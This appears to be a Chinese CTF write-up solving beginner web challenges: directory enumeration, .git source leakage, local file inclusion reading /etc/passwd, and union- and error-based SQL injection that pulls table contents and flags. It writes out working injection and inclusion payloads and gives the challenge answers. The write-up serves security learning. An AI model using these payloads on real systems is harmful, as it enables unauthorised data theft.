QSNCTF-WEB做题记录(2)
[第一章 web入门]常见的搜集
来自 <天狩CTF竞赛平台>
1,首先就是对网站进行目录枚举爆破
dirsearch -u http://challenge.qsnctf.com:31616 -x 404,403
得到如下的目录,分别查看一下内容
/.DS_Store
/index.php~
第二部分:flag2:s_v3ry_im
/robots.txt
/flag1_is_her3_fun.txt
第一部分:n1book{info_1
/.index.php.swp
第三个部分:p0rtant_hack}
组成n1book{info_1s_v3ry_imp0rtant_hack}
[第一章 web入门]粗心的小李
来自 <天狩CTF竞赛平台>
1,.git泄露漏洞。
GitHack 是一种文件夹泄露漏洞。.git它从 .git 文件夹重建源代码,同时保持目录结构不变。GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞 https://github.com/lijiejie/GitHack
2,命令示例:python GitHack.py http://还原链接/.git/
3,输入这个命令之后,会在challenge.qsnctf.com_32321
4,然后在该文件夹下发现生产的文件GitHack-master\challenge.qsnctf.com_32321\index.html
n1book{git_looks_s0_easyfun}
第三题:EasyInclude 2024
来自 <天狩CTF竞赛平台>
1,观察网站页面,提示存在include函数
$_GET['inc']: 这是从 URL 参数中获取一个值。也就是说,用户可以在 URL 中传递一个名为 inc 的参数,PHP 脚本将会根据这个参数的值来决定包含哪个文件。
2,由此构造payload:?inc=../../../../etc/passwd
成功包含了/etc/passwd文件,应该是存在本地文件包含漏洞(LFI,local file include)
3,构造语句payload:?inc=/flag
轻松包含了flag{b6408a9551ef4755abbd333bf9694865}
[第一章 web入门]SQL注入-1
来自 <天狩CTF竞赛平台>
1,观察靶场,能够通过?id=1传入参数进而改变网站页面,首先确定页面正常回显的情况
2,然后传入?id=1',不回显证明发生报错,传入?id=1",回显正常
?id=1' --+ 传入这个参数正常回显,说明此前单引号会破坏SQL查询语句的闭合,而现在使用--+注释掉需要闭合的单引号,使得?id=1'能够完成闭合。由此判断靶场存在单引号字符型sql注入漏洞
3, 使用order by语句判断数据表存在几列
ORDER BY 操作符用于对查询结果进行排序。它根据指定的列对数据进行升序或降序排列。默认情况下,ORDER BY 以升序(ASC)排序,但你也可以显式地指定升序或降序排序。
语法:
SELECT column1, column2, ...
FROM table_name
ORDER BY column1 [ASC|DESC], column2 [ASC|DESC], ...;
- column1, column2, ...: 要排序的列。
- ASC:升序(默认),从小到大排列。
- DESC:降序,从大到小排列。
payload:?id=1' order by 1,2,3 --+ 不报错
payload:?id=1' order by 1,2,3,4 --+ 不报错
说明数据表的列数小于四列,大于等于三列,推断数据库列数为3
4,使用union操作符推断sql注入漏洞的回显点在哪几列
payload:?id=-1' union select 1,2,3 --+
回显出来2,3说明回显点在被查询的第二第三列
5,通过数据库函数爆出数据库名和版本号
payload:?id=-1' union select 1,database(),version() --+
6,爆数据表名fl4g,notes
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆出fl4g数据表下的列名fllllag
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'--+
爆出notes数据表下的列名id,title,content
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='notes'--+
7,最后直接在数据表fl4g查询到flag
?id=-1' union select 1,database(), group_concat(fllllag) from fl4g --+
n1book{union_select_is_so_cool}
[第一章 web入门]SQL注入-2
来自 <天狩CTF竞赛平台>
1,题目提示请访问 /login.php /user.php
访问/login.php是一个登录网页
输入密码然后使用burpsuite抓包,大抵推断是一个POST型SQL注入
2,查看页面源代码发现了题目提示
右键发送到repeater模块,然后按照要求添加
- "error": 1:error 字段的值是 1,通常表示发生了错误或异常。一般约定 0 表示成功,1 表示失败。
- "msg": "\u8d26\u53f7\u4e0d\u5b58\u5728":msg 字段的值是一个 Unicode 编码的字符串。解码后,\u8d26\u53f7\u4e0d\u5b58\u5728 代表的中文是 "账户不存在"。
3,然后判断注入类型:
name=123&pass=123,回显是\u8d26\u53f7\u4e0d\u5b58\u5728,unicode解码就是账号不存在。
name=admin&pass=123,回显是\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef,解码就是账号或密码错误。
4,这就可以证明账号 admin是存在的,那么注入类型为 字符型注入。经过和报错注入的联合判断,我们可以得出闭合方式为单引号。爆出数据库库名
1' and extractvalue(1,concat(0x7e,database()))--+
- extractvalue():这是 MySQL 中的一个函数,它用来从 XML 数据中提取指定节点的值。它有两个参数,第一个参数是 XML 文档,第二个参数是 XPath 表达式。在 SQL 注入中,攻击者可以利用这个函数执行任意的 XML 操作,从而在数据库中执行一些恶意行为。
- 1:extractvalue() 的第一个参数通常是 XML 数据。在这里,1 被用作一个“虚拟的” XML 数据。MySQL 将它当作一个无效的 XML 文档,并尝试在其上执行 XPath 操作。
- concat(0x7e, database()):这个部分使用 concat() 函数将两个部分拼接起来。
- 0x7e 是一个十六进制值,表示字符 ~(波浪号)。这是一个分隔符,用于在最终输出中分隔不同的内容。
- database() 是 MySQL 的一个内置函数,用于获取当前数据库的名称。
因此,concat(0x7e, database()) 会将字符 ~ 和当前数据库的名称拼接起来。例如,如果当前数据库是 test_db,则结果是 ~test_db。
- extractvalue(1, concat(0x7e, database())):最终,这个函数会尝试从虚拟的 XML 文档 1 中提取节点 ~test_db(假设当前数据库为 test_db)。由于 extractvalue() 的目标是执行 XML 查询,它会导致一个错误或不正确的行为,但攻击者通常期望数据库返回当前数据库的名称作为结果,或造成 SQL 错误信息泄露。
数据库名就是note
5,爆破出数据库当中的数据表(需要进行绕过)
admin' and extractvalue(1,concat(0x7e,(Select group_concat(table_name)from information_schema.tables where table_schema=database())))--+
爆出数据表有fl4g,users
6,然后爆出数据表fl4g的字段名
admin'and extractvalue(1,concat(0x7e,(Select group_concat(column_name)from information_schema.columns where table_name='fl4g'))) --+
7,最后成功的爆出来flag
admin'and extractvalue(1,concat(0x7e,(Select flag from fl4g))) --+
n1book{login_sqli_is_nice}